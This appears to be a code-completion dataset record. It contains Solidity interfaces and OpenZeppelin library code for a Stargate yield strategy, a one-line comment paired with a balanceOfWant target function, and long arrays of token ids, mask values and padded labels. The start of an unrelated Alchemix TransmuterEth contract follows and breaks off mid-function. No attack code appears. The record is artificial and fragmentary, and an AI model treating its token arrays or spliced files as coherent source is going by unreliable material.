function userInfo(uint256 _pid, address _user)
external
view
returns (uint256, uint256);
function stargate() external view returns (address);
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ILPToken is IERC20 {
function poolId() external view returns (uint256);
function token() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IStargateRouter {
function addLiquidity(
uint256 _poolId,
uint256 _amountLD,
address _to
) external;
function instantRedeemLocal(
uint16 _srcPoolId,
uint256 _amountLP,
address _to
) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IStrategy {
function vault() external view returns (address);
function want() external view returns (IERC20);
function beforeDeposit() external;
function deposit() external;
function withdraw(uint256) external;
function balanceOf() external view returns (uint256);
function balanceOfWant() external view returns (uint256);
function balanceOfPool() external view returns (uint256);
function harvest() external;
function retireStrat() external;
}
|
it calculates how much 'want' this contract holds.
|
function balanceOfWant() public view override returns (uint256) {
return want.balanceOf(address(this));
}
| 6,934,500 |
[
1,
305,
17264,
3661,
9816,
296,
17369,
11,
333,
6835,
14798,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
11013,
951,
59,
970,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
2545,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.6.12;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./interfaces/IERC20Burnable.sol";
import {YearnVaultAdapterWithIndirection} from "./adapters/YearnVaultAdapterWithIndirection.sol";
import {VaultWithIndirection} from "./libraries/alchemist/VaultWithIndirection.sol";
import {ITransmuter} from "./interfaces/ITransmuter.sol";
import {IWETH9} from "./interfaces/IWETH9.sol";
// ___ __ __ _ ___ __ _
// / _ | / / ____ / / ___ __ _ (_) __ __ / _ \ ____ ___ ___ ___ ___ / /_ ___ (_)
// / __ | / / / __/ / _ \/ -_) / ' \ / / \ \ / / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _
// /_/ |_|/_/ \__/ /_//_/\__/ /_/_/_//_/ /_\_\ /_/ /_/ \__/ /___/\__/ /_//_/\__/ /___/(_)
//
// .___________..______ ___ .__ __. _______..___ ___. __ __ .___________. _______ .______
// | || _ \ / \ | \ | | / || \/ | | | | | | || ____|| _ \
// `---| |----`| |_) | / ^ \ | \| | | (----`| \ / | | | | | `---| |----`| |__ | |_) |
// | | | / / /_\ \ | . ` | \ \ | |\/| | | | | | | | | __| | /
// | | | |\ \----. / _____ \ | |\ | .----) | | | | | | `--' | | | | |____ | |\ \----.
// |__| | _| `._____|/__/ \__\ |__| \__| |_______/ |__| |__| \______/ |__| |_______|| _| `._____|
/**
* @dev Implementation of the {IERC20Burnable} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20Burnable-approve}.
*/
contract TransmuterEth is Context {
using SafeMath for uint256;
using SafeERC20 for IERC20Burnable;
using Address for address;
using VaultWithIndirection for VaultWithIndirection.Data;
using VaultWithIndirection for VaultWithIndirection.List;
address public constant ZERO_ADDRESS = address(0);
uint256 public transmutationPeriod;
address public alToken;
address public token;
mapping(address => uint256) public depositedAlTokens;
mapping(address => uint256) public tokensInBucket;
mapping(address => uint256) public realisedTokens;
mapping(address => uint256) public lastDividendPoints;
mapping(address => bool) public userIsKnown;
mapping(uint256 => address) public userList;
uint256 public nextUser;
uint256 public totalSupplyAltokens;
uint256 public buffer;
uint256 public lastDepositBlock;
///@dev values needed to calculate the distribution of base asset in proportion for alTokens staked
uint256 public pointMultiplier = 10e18;
uint256 public totalDividendPoints;
uint256 public unclaimedDividends;
/// @dev alchemist addresses whitelisted
mapping (address => bool) public whiteList;
/// @dev addresses whitelisted to run keepr jobs (harvest)
mapping (address => bool) public keepers;
/// @dev The threshold above which excess funds will be deployed to yield farming activities
uint256 public plantableThreshold = 50000000000000000000; // 50 ETH
/// @dev The % margin to trigger planting or recalling of funds
uint256 public plantableMargin = 5;
/// @dev The address of the account which currently has administrative capabilities over this contract.
address public governance;
/// @dev The address of the pending governance.
address public pendingGovernance;
/// @dev The address of the account which can perform emergency activities
address public sentinel;
/// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall
/// from the active vault.
bool public pause;
/// @dev The address of the contract which will receive fees.
address public rewards;
/// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added
mapping(YearnVaultAdapterWithIndirection => bool) public adapters;
/// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for
/// deposits and withdraws. VaultWithIndirections before the last element are considered inactive and are expected to be cleared.
VaultWithIndirection.List private _vaults;
/// @dev make sure the contract is only initialized once.
bool public initialized;
/// @dev mapping of user account to the last block they acted
mapping(address => uint256) public lastUserAction;
/// @dev number of blocks to delay between allowed user actions
uint256 public minUserActionDelay;
event GovernanceUpdated(
address governance
);
event PendingGovernanceUpdated(
address pendingGovernance
);
event SentinelUpdated(
address sentinel
);
event TransmuterPeriodUpdated(
uint256 newTransmutationPeriod
);
event TokenClaimed(
address claimant,
address token,
uint256 amountClaimed
);
event AlUsdStaked(
address staker,
uint256 amountStaked
);
event AlUsdUnstaked(
address staker,
uint256 amountUnstaked
);
event Transmutation(
address transmutedTo,
uint256 amountTransmuted
);
event ForcedTransmutation(
address transmutedBy,
address transmutedTo,
uint256 amountTransmuted
);
event Distribution(
address origin,
uint256 amount
);
event WhitelistSet(
address whitelisted,
bool state
);
event KeepersSet(
address[] keepers,
bool[] states
);
event PlantableThresholdUpdated(
uint256 plantableThreshold
);
event PlantableMarginUpdated(
uint256 plantableMargin
);
event MinUserActionDelayUpdated(
uint256 minUserActionDelay
);
event ActiveVaultUpdated(
YearnVaultAdapterWithIndirection indexed adapter
);
event PauseUpdated(
bool status
);
event FundsRecalled(
uint256 indexed vaultId,
uint256 withdrawnAmount,
uint256 decreasedValue
);
event FundsHarvested(
uint256 withdrawnAmount,
uint256 decreasedValue
);
event RewardsUpdated(
address treasury
);
event MigrationComplete(
address migrateTo,
uint256 fundsMigrated
);
constructor(address _alToken, address _token, address _governance) public {
require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov");
governance = _governance;
alToken = _alToken;
token = _token;
transmutationPeriod = 500000;
minUserActionDelay = 1;
pause = true;
}
///@return displays the user's share of the pooled alTokens.
function dividendsOwing(address account) public view returns (uint256) {
uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]);
return depositedAlTokens[account].mul(newDividendPoints).div(pointMultiplier);
}
/// @dev Checks that caller is not a eoa.
///
/// This is used to prevent contracts from interacting.
modifier noContractAllowed() {
require(!address(msg.sender).isContract() && msg.sender == tx.origin, "no contract calls");
_;
}
///@dev modifier to fill the bucket and keep bookkeeping correct incase of increase/decrease in shares
modifier updateAccount(address account) {
uint256 owing = dividendsOwing(account);
if (owing > 0) {
unclaimedDividends = unclaimedDividends.sub(owing);
